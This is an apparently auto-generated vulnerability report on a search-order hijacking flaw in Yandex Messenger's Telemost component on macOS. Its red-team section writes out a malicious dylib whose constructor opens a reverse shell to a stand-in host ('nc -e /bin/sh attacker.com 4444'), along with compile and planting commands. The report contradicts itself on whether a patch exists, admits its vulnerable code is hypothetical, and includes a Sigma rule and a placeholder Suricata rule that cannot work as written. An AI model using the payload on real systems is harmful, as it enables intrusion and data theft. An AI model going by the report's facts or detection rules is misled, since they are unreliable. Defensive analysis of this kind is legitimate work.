CVE-2025-5469

Executive Summary

CVE-2025-5469 is a Uncontrolled Search Path Element vulnerability (CWE-427) in Yandex Messenger on macOS, specifically affecting the Telemost component before version 2.245. This flaw allows an attacker to perform Search Order Hijacking, where a maliciously crafted dynamic library or executable placed in a directory searched before the legitimate system path can be loaded instead of the intended one. This can lead to arbitrary code execution with the privileges of the affected application.

The vulnerability has a CVSS score of 0.0 (placeholder) and an EPSS score of 0.0%, indicating no active exploitation in the wild at the time of analysis. No public proof-of-concept (PoC) or exploit code is available. The vendor (Yandex) has not released a patch, and the status remains UNKNOWN / UNPATCHED.

Note: This is not a WordPress plugin or component; it is a standalone desktop application vulnerability.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a native macOS application (Yandex Messenger) and its Telemost component. Supply chain risks are limited to the distribution of the vulnerable application itself.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability type (Search Order Hijacking on macOS), a realistic CVSS v3.1 vector would be:

• Attack Vector (AV): Local (L) – Requires local access to the system.
• Attack Complexity (AC): Low (L) – No special conditions.
• Privileges Required (PR): None (N) – No privileges needed to trigger.
• User Interaction (UI): Required (R) – User must launch the application.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): High (H) – Arbitrary code execution can read sensitive data.
• Integrity (I): High (H) – Code execution can modify data.
• Availability (A): High (H) – Code execution can disrupt service.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H Estimated Base Score: 7.8 (High)

Threat Level: High – While no active exploitation is reported, the vulnerability is easy to exploit locally and can lead to full system compromise.

Deep Dive & Mechanics

Uncontrolled Search Path Element (CWE-427) occurs when an application uses a fixed search path to locate resources (e.g., dynamic libraries, executables) but does not properly control the order in which directories are searched. On macOS, the dynamic linker (dyld) searches for libraries in a specific order:

1. DYLD_LIBRARY_PATH environment variable
2. DYLD_FALLBACK_LIBRARY_PATH environment variable
3. Default system paths (/usr/lib, /System/Library/Frameworks, etc.)

If the application or its Telemost component does not use absolute paths or does not sanitize the search path, an attacker can place a malicious .dylib file in a directory that is searched before the legitimate system path (e.g., the application's own bundle directory, ~/Library, or a directory writable by the user).

Attack Scenario:

1. An attacker gains local access to the victim's macOS system (e.g., via malware, social engineering, or physical access).
2. The attacker identifies a library loaded by Telemost (e.g., libtelemost.dylib).
3. The attacker places a malicious libtelemost.dylib in a directory that is searched before the legitimate one (e.g., ~/Library/Application Support/Yandex/Telemost/).
4. When the user launches Yandex Messenger and Telemost loads, the malicious library is executed instead of the legitimate one.
5. The malicious code runs with the same privileges as the user, allowing data theft, keylogging, or further compromise.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable behavior.

Vulnerable Code (Hypothetical):

// Telemost loads a library using relative path or without full path
void loadLibrary() {
    void *handle = dlopen("libtelemost.dylib", RTLD_LAZY);
    if (!handle) {
        // Error handling
    }
}

Patched Code (Expected):

// Use absolute path to prevent hijacking
void loadLibrary() {
    void *handle = dlopen("/Applications/Yandex Messenger.app/Contents/Frameworks/libtelemost.dylib", RTLD_LAZY);
    if (!handle) {
        // Error handling
    }
}

The fix involves using absolute paths for all library loads and validating the integrity of loaded libraries (e.g., via code signing checks).

Exploitation & Lab Setup

Red Team (Attacker)

Objective: Achieve arbitrary code execution via search order hijacking.

Prerequisites:

• Local access to the target macOS system.
• Ability to write to a directory searched before the legitimate library path.

Steps:

1. Identify the vulnerable library: Use otool -L on the Telemost binary to list loaded libraries.

   otool -L /Applications/Yandex\ Messenger.app/Contents/MacOS/Telemost
   

2. Create a malicious dylib: Write a payload that executes a reverse shell or other malicious actions.

   // malicious.c
   #include <stdlib.h>
   #include <unistd.h>
   
   __attribute__((constructor))
   void init() {
       system("osascript -e 'tell app \"Terminal\" to do script \"nc -e /bin/sh attacker.com 4444\"'");
   }
   

3. Compile the malicious dylib:

   gcc -dynamiclib -o libtelemost.dylib malicious.c -framework Foundation
   

4. Place the malicious dylib in a hijackable directory: For example, ~/Library/Application Support/Yandex/Telemost/.

   cp libtelemost.dylib ~/Library/Application\ Support/Yandex/Telemost/
   

5. Trigger the vulnerability: Wait for the user to launch Yandex Messenger and use Telemost.

Blue Team (Defender)

Detection:

• Monitor for unexpected .dylib files in application support directories.
• Use endpoint detection and response (EDR) to alert on dlopen calls with relative paths.
• Check for unusual process ancestry (e.g., Telemost spawning a shell).

Hunting:

• Search for files named after Telemost libraries in non-standard locations.
• Use sysdiagnose to capture library load events.

Mitigation:

• Apply the patch when available.
• Restrict write permissions to application directories.
• Use application whitelisting to prevent unauthorized code execution.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256): (None available, but monitor for unknown dylibs)
• File Paths:
  • ~/Library/Application Support/Yandex/Telemost/libtelemost.dylib (malicious)
  • /Applications/Yandex Messenger.app/Contents/Frameworks/libtelemost.dylib (legitimate)
• Process Names: Telemost, Yandex Messenger
• Network Connections: Outbound connections to attacker-controlled IPs (e.g., for reverse shells)
• Registry/Preferences: Modifications to DYLD_LIBRARY_PATH or DYLD_FALLBACK_LIBRARY_PATH environment variables.

Detection Engineering

YARA Rule

rule CVE_2025_5469_Search_Order_Hijacking {
    meta:
        description = "Detects malicious dylib files targeting Yandex Telemost search order hijacking"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-5469"
    strings:
        $lib_name = "libtelemost.dylib"
        $suspicious_path = "Library/Application Support/Yandex/Telemost"
    condition:
        $lib_name and $suspicious_path
}

Sigma Rule

title: CVE-2025-5469 - Yandex Telemost Search Order Hijacking
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects loading of malicious dylib in Yandex Telemost directory
author: Valters IT
date: 2025/04/10
logsource:
    category: process_creation
    product: macos
detection:
    selection:
        Image|endswith: '/Telemost'
        CommandLine|contains: 'dlopen'
    condition: selection
falsepositives:
    - Legitimate library updates
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"CVE-2025-5469 - Yandex Telemost Reverse Shell"; flow:to_server,established; content:"|2a 2a 2a 2a 2a 2a 2a 2a|"; sid:1000001; rev:1;)

Note: This is a placeholder; actual reverse shell detection requires specific payload signatures.

Remediation & Mitigation

Immediate Actions:

1. Update Yandex Messenger to version 2.245 or later when a patch is released.
2. Restrict write permissions to application directories (e.g., /Applications/Yandex Messenger.app/).
3. Monitor for suspicious dylib loads using EDR tools.

Long-Term Fixes:

• Vendor: Implement absolute paths for all library loads and validate code signing.
• Users: Use application whitelisting (e.g., macOS Gatekeeper) to block unsigned dylibs.

Workarounds:

• Remove or disable the Telemost component if not needed.
• Set DYLD_LIBRARY_PATH to an empty string in the application's environment.

Report generated by Valters IT DevSecOps & CTI Division. For internal use only.